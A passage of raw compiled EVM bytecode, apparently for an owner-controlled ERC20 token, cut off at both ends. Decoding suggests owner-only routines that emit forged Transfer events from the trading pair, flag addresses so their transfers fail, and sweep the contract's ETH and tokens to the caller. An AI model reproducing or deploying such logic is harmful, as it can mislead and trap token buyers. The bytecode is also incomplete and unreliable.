0ff841115620009a0576200099f620008ae565b5b8360020a915084821115620009ba57620009b9620008ae565b5b5062000a2a565b5060208310610133831016604e8410600b8410161715620009fb5782820a905083811115620009f557620009f4620008ae565b5b62000a2a565b62000a0a8484846001620008ea565b9250905081840481111562000a245762000a23620008ae565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a4b826200082c565b915062000a588362000a31565b925062000a877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000945565b905092915050565b600062000a9c826200082c565b915062000aa9836200082c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ae55762000ae4620008ae565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b2c826200082c565b915062000b39836200082c565b92508262000b4c5762000b4b62000af0565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000ba0601f8362000b57565b915062000bad8262000b68565b602082019050919050565b6000602082019050818103600083015262000bd38162000b91565b9050919050565b600062000be7826200082c565b915062000bf4836200082c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c2c5762000c2b620008ae565b5b828201905092915050565b62000c42816200082c565b82525050565b600060208201905062000c5f600083018462000c37565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000c9d60208362000b57565b915062000caa8262000c65565b602082019050919050565b6000602082019050818103600083015262000cd08162000c8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d1f57607f821691505b6020821081141562000d365762000d3562000cd7565b5b50919050565b60805161446c62000d6d60003960008181610c720152818161281f015281816129000152612927015261446c6000f3fe6080604052600436106102295760003560e01c80638da5cb5b11610123578063c2b7bbb6116100ab578063e083e9221161006f578063e083e92214610800578063e2f4560514610829578063f2fde38b14610854578063f8b45b051461087d578063ffb54a99146108a857610230565b8063c2b7bbb61461072f578063c4590d3f14610758578063c8c8ebe414610781578063c9567bf9146107ac578063dd62ed3e146107c357610230565b8063a457c2d7116100f2578063a457c2d71461063a578063a9059cbb14610677578063a9ddeaa2146106b4578063afa4f3b2146106dd578063b70143c91461070657610230565b80638da5cb5b1461057e57806395d89b41146105a95780639a7a23d6146105d45780639f53c5bf146105fd57610230565b806342966c68116101b15780635d098b38116101755780635d098b38146104ad5780636ddd1713146104d657806370a0823114610501578063715018a61461053e5780637571336a1461055557610230565b806342966c68146103ec578063470624021461041557806349bd5a5e146104405780634d54557f1461046b578063583e05681461048257610230565b806326ededb8116101f857806326ededb8146103055780632b14ca561461032e578063311028af14610359578063313ce5671461038457806339509351146103af57610230565b806306fdde0314610235578063095ea7b31461026057806318160ddd1461029d57806323b872dd146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108d3565b6040516102579190612dfb565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612ec5565b610965565b6040516102949190612f20565b60405180910390f35b3480156102a957600080fd5b506102b2610988565b6040516102bf9190612f4a565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612f65565b610992565b6040516102fc9190612f20565b60405180910390f35b34801561031157600080fd5b5061032c6004803603810190610327919061301d565b6109c1565b005b34801561033a57600080fd5b50610343610af7565b6040516103509190612f4a565b60405180910390f35b34801561036557600080fd5b5061036e610afd565b60405161037b9190612f4a565b60405180910390f35b34801561039057600080fd5b50610399610b03565b6040516103a69190613099565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190612ec5565b610b0c565b6040516103e39190612f20565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e91906130b4565b610b43565b005b34801561042157600080fd5b5061042a610b57565b6040516104379190612f4a565b60405180910390f35b34801561044c57600080fd5b50610455610b5d565b60405161046291906130f0565b60405180910390f35b34801561047757600080fd5b50610480610b83565b005b34801561048e57600080fd5b50610497610c70565b6040516104a4919061316a565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190613185565b610c94565b005b3480156104e257600080fd5b506104eb610d39565b6040516104f89190612f20565b60405180910390f35b34801561050d57600080fd5b5061052860048036038101906105239190613185565b610d4c565b6040516105359190612f4a565b60405180910390f35b34801561054a57600080fd5b50610553610d94565b005b34801561056157600080fd5b5061057c600480360381019061057791906131de565b610da8565b005b34801561058a57600080fd5b50610593610e0b565b6040516105a091906130f0565b60405180910390f35b3480156105b557600080fd5b506105be610e35565b6040516105cb9190612dfb565b60405180910390f35b3480156105e057600080fd5b506105fb60048036038101906105f691906131de565b610ec7565b005b34801561060957600080fd5b50610624600480360381019061061f9190613185565b610f6e565b6040516106319190612f20565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190612ec5565b610fc4565b60405161066e9190612f20565b60405180910390f35b34801561068357600080fd5b5061069e60048036038101906106999190612ec5565b61103b565b6040516106ab9190612f20565b60405180910390f35b3480156106c057600080fd5b506106db60048036038101906106d6919061335c565b61105e565b005b3480156106e957600080fd5b5061070460048036038101906106ff91906130b4565b6111bc565b005b34801561071257600080fd5b5061072d600480360381019061072891906130b4565b611245565b005b34801561073b57600080fd5b5061075660048036038101906107519190613185565b6112dd565b005b34801561076457600080fd5b5061077f600480360381019061077a91906133b8565b611383565b005b34801561078d57600080fd5b506107966113d9565b6040516107a39190612f4a565b60405180910390f35b3480156107b857600080fd5b506107c16113df565b005b3480156107cf57600080fd5b506107ea60048036038101906107e591906133f8565b61141f565b6040516107f79190612f4a565b60405180910390f35b34801561080c57600080fd5b5061082760048036038101906108229190613185565b6114a6565b005b34801561083557600080fd5b5061083e6116be565b60405161084b9190612f4a565b60405180910390f35b34801561086057600080fd5b5061087b60048036038101906108769190613185565b6116c4565b005b34801561088957600080fd5b50610892611748565b60405161089f9190612f4a565b60405180910390f35b3480156108b457600080fd5b506108bd61174e565b6040516108ca9190612f20565b60405180910390f35b6060600380546108e290613467565b80601f016020809104026020016040519081016040528092919081815260200182805461090e90613467565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b600080610970611761565b905061097d818585611769565b600191505092915050565b6000600254905090565b60008061099d611761565b90506109aa858285611934565b6109b58585856119c0565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a02611761565b73ffffffffffffffffffffffffffffffffffffffff1614610a2257600080fd5b60005b83839050811015610af157838382818110610a4357610a42613499565b5b9050602002016020810190610a589190613185565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ad69190612f4a565b60405180910390a38080610ae9906134f7565b915050610a25565b50505050565b600f5481565b600a5481565b60006009905090565b600080610b17611761565b9050610b38818585610b29858961141f565b610b339190613540565b611769565b600191505092915050565b610b54610b4e611761565b826123cd565b50565b60105481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd906135e2565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c07611761565b73ffffffffffffffffffffffffffffffffffffffff1614610c2757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c6d573d6000803e3d6000fd5b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cd5611761565b73ffffffffffffffffffffffffffffffffffffffff1614610cf557600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d9c61259b565b610da66000612619565b565b610db061259b565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610e4490613467565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7090613467565b8015610ebd5780601f10610e9257610100808354040283529160200191610ebd565b820191906000526020600020905b815481529060010190602001808311610ea057829003601f168201915b5050505050905090565b610ecf61259b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5790613674565b60405180910390fd5b610f6a82826126df565b5050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610fcf611761565b90506000610fdd828661141f565b905083811015611022576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101990613706565b60405180910390fd5b61102f8286868403611769565b60019250505092915050565b600080611046611761565b90506110538185856119c0565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661109f611761565b73ffffffffffffffffffffffffffffffffffffffff16146110bf57600080fd5b60005b82518110156111b75781601460008584815181106110e3576110e2613499565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082818151811061114f5761114e613499565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78360405161119c9190612f20565b60405180910390a280806111af906134f7565b9150506110c2565b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fd611761565b73ffffffffffffffffffffffffffffffffffffffff161461121d57600080fd5b611225610b03565b600a6112319190613859565b8161123c91906138a4565b600b8190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611286611761565b73ffffffffffffffffffffffffffffffffffffffff16146112a657600080fd5b60006112b130610d4c565b90506000606483836112c391906138a4565b6112cd919061392d565b90506112d881612780565b505050565b6112e561259b565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611353600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610da8565b611380600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016126df565b50565b61138b61259b565b611393610b03565b600a61139f9190613859565b826113aa91906138a4565b600d819055506113b8610b03565b600a6113c49190613859565b816113cf91906138a4565b600c819055505050565b600d5481565b6113e761259b565b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114e7611761565b73ffffffffffffffffffffffffffffffffffffffff161461150757600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154291906130f0565b602060405180830381865afa15801561155f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115839190613973565b116115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba906139ec565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161161991906130f0565b602060405180830381865afa158015611636573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165a9190613973565b6040518363ffffffff1660e01b8152600401611677929190613a0c565b6020604051808303816000875af1158015611696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ba9190613a4a565b5050565b600b5481565b6116cc61259b565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390613ae9565b60405180910390fd5b61174581612619565b50565b600c5481565b600e60019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d090613b7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184090613c0d565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119279190612f4a565b60405180910390a3505050565b6000611940848461141f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119ba57818110156119ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a390613c79565b60405180910390fd5b6119b98484848403611769565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790613d0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9790613d9d565b60405180910390fd5b6000811415611aba57611ab5838360006129df565b6123c8565b611ac2610e0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b305750611b00610e0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b695750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba3575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bbc5750600860149054906101000a900460ff16155b15611fe357600e60019054906101000a900460ff16611cb657601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c765750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cac90613e09565b60405180910390fd5b5b43601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d9d5750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4457600d54811115611de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dde90613e9b565b60405180910390fd5b600c54611df383610d4c565b82611dfe9190613540565b1115611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3690613f07565b60405180910390fd5b611fe2565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee75750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3657600d54811115611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2890613f99565b60405180910390fd5b611fe1565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611fe057600c54611f9383610d4c565b82611f9e9190613540565b1115611fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd690613f07565b60405180910390fd5b5b5b5b5b6000611fee30610d4c565b90506000600b54821190508080156120125750600e60009054906101000a900460ff165b801561202b5750600860149054906101000a900460ff16155b80156120815750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d75750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561212d5750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612171576001600860146101000a81548160ff021916908315150217905550612155612c57565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff161580156121d95750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561222f5750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561235c57601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122ba576122b360646122a5600f5488612c9690919063ffffffff16565b612cac90919063ffffffff16565b9050612338565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561233757612334606461232660105488612c9690919063ffffffff16565b612cac90919063ffffffff16565b90505b5b600081111561234d5761234c8730836129df565b5b80856123599190613fb9565b94505b601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b8576123b787612cc2565b5b6123c38787876129df565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561243d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124349061405f565b60405180910390fd5b61244982600083612d4c565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c6906140f1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125829190612f4a565b60405180910390a361259683600084612d51565b505050565b6125a3611761565b73ffffffffffffffffffffffffffffffffffffffff166125c1610e0b565b73ffffffffffffffffffffffffffffffffffffffff1614612617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260e9061415d565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff81111561279d5761279c61321e565b5b6040519080825280602002602001820160405280156127cb5781602001602082028036833780820191505090505b50905030816000815181106127e3576127e2613499565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612888573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ac9190614192565b816001815181106128c0576128bf613499565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612925307f000000000000000000000000000000000000000000000000000000000000000084611769565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129a99594939291906142b8565b600060405180830381600087803b1580156129c357600080fd5b505af11580156129d7573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4690613d0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab690613d9d565b60405180910390fd5b612aca838383612d4c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4790614384565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c3e9190612f4a565b60405180910390a3612c51848484612d51565b50505050565b6000612c6230610d4c565b90506000811415612c735750612c94565b6000819050600b54811115612c8857600b5490505b612c9181612780565b50505b565b60008183612ca491906138a4565b905092915050565b60008183612cba919061392d565b905092915050565b612d0a601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d56565b612d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d4090614416565b60405180910390fd5b50565b505050565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d9c578082015181840152602081019050612d81565b83811115612dab576000848401525b50505050565b6000601f19601f8301169050919050565b6000612dcd82612d62565b612dd78185612d6d565b9350612de7818560208601612d7e565b612df081612db1565b840191505092915050565b60006020820190508181036000830152612e158184612dc2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e5c82612e31565b9050919050565b612e6c81612e51565b8114612e7757600080fd5b50565b600081359050612e8981612e63565b92915050565b6000819050919050565b612ea281612e8f565b8114612ead57600080fd5b50565b600081359050612ebf81612e99565b92915050565b60008060408385031215612edc57612edb612e27565b5b6000612eea85828601612e7a565b9250506020612efb85828601612eb0565b9150509250929050565b60008115159050919050565b612f1a81612f05565b82525050565b6000602082019050612f356000830184612f11565b92915050565b612f4481612e8f565b82525050565b6000602082019050612f5f6000830184612f3b565b92915050565b600080600060608486031215612f7e57612f7d612e27565b5b6000612f8c86828701612e7a565b9350506020612f9d86828701612e7a565b9250506040612fae86828701612eb0565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612fdd57612fdc612fb8565b5b8235905067ffffffffffffffff811115612ffa57612ff9612fbd565b5b60208301915083602082028301111561301657613015612fc2565b5b9250929050565b60008060006040848603121561303657613035612e27565b5b600084013567ffffffffffffffff81111561305457613053612e2c565b5b61306086828701612fc7565b9350935050602061307386828701612eb0565b9150509250925092565b600060ff82169050919050565b6130938161307d565b82525050565b60006020820190506130ae600083018461308a565b92915050565b6000602082840312156130ca576130c9612e27565b5b60006130d884828501612eb0565b91505092915050565b6130ea81612e51565b82525050565b600060208201905061310560008301846130e1565b92915050565b6000819050919050565b600061313061312b61312684612e31565b61310b565b612e31565b9050919050565b600061314282613115565b9050919050565b600061315482613137565b9050919050565b61316481613149565b82525050565b600060208201905061317f600083018461315b565b92915050565b60006020828403121561319b5761319a612e27565b5b60006131a984828501612e7a565b91505092915050565b6131bb81612f05565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b600080604083850312156131f5576131f4612e27565b5b600061320385828601612e7a565b9250506020613214858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61325682612db1565b810181811067ffffffffffffffff821117156132755761327461321e565b5b80604052505050565b6000613288612e1d565b9050613294828261324d565b919050565b600067ffffffffffffffff8211156132b4576132b361321e565b5b602082029050602081019050919050565b60006132d86132d384613299565b61327e565b905080838252602082019050602084028301858111156132fb576132fa612fc2565b5b835b8181101561332457806133108882612e7a565b8452602084019350506020810190506132fd565b5050509392505050565b600082601f83011261334357613342612fb8565b5b81356133538482602086016132c5565b91505092915050565b6000806040838503121561337357613372612e27565b5b600083013567ffffffffffffffff81111561339157613390612e2c565b5b61339d8582860161332e565b92505060206133ae858286016131c9565b9150509250929050565b600080604083850312156133cf576133ce612e27565b5b60006133dd85828601612eb0565b92505060206133ee85828601612eb0565b9150509250929050565b6000806040838503121561340f5761340e612e27565b5b600061341d85828601612e7a565b925050602061342e85828601612e7a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061347f57607f821691505b6020821081141561349357613492613438565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061350282612e8f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613535576135346134c8565b5b600182019050919050565b600061354b82612e8f565b915061355683612e8f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358b5761358a6134c8565b5b828201905092915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006135cc601683612d6d565b91506135d782613596565b602082019050919050565b600060208201905081810360008301526135fb816135bf565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061365e603983612d6d565b915061366982613602565b604082019050919050565b6000602082019050818103600083015261368d81613651565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006136f0602583612d6d565b91506136fb82613694565b604082019050919050565b6000602082019050818103600083015261371f816136e3565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561377d57808604811115613759576137586134c8565b5b60018516156137685780820291505b808102905061377685613726565b945061373d565b94509492505050565b6000826137965760019050613852565b816137a45760009050613852565b81600181146137ba57600281146137c4576137f3565b6001915050613852565b60ff8411156137d6576137d56134c8565b5b8360020a9150848211156137ed576137ec6134c8565b5b50613852565b5060208310610133831016604e8410600b84101617156138285782820a905083811115613823576138226134c8565b5b613852565b6138358484846001613733565b9250905081840481111561384c5761384b6134c8565b5b81810290505b9392505050565b600061386482612e8f565b915061386f8361307d565b925061389c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613786565b905092915050565b60006138af82612e8f565b91506138ba83612e8f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f3576138f26134c8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061393882612e8f565b915061394383612e8f565b925082613953576139526138fe565b5b828204905092915050565b60008151905061396d81612e99565b92915050565b60006020828403121561398957613988612e27565b5b60006139978482850161395e565b91505092915050565b7f43616e2774207769746864726177203000000000000000000000000000000000600082015250565b60006139d6601083612d6d565b91506139e1826139a0565b602082019050919050565b60006020820190508181036000830152613a05816139c9565b9050919050565b6000604082019050613a2160008301856130e1565b613a2e6020830184612f3b565b9392505050565b600081519050613a44816131b2565b92915050565b600060208284031215613a6057613a5f612e27565b5b6000613a6e84828501613a35565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613ad3602683612d6d565b9150613ade82613a77565b604082019050919050565b60006020820190508181036000830152613b0281613ac6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b65602483612d6d565b9150613b7082613b09565b604082019050919050565b60006020820190508181036000830152613b9481613b58565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf7602283612d6d565b9150613c0282613b9b565b604082019050919050565b60006020820190508181036000830152613c2681613bea565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613c63601d83612d6d565b9150613c6e82613c2d565b602082019050919050565b60006020820190508181036000830152613c9281613c56565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613cf5602583612d6d565b9150613d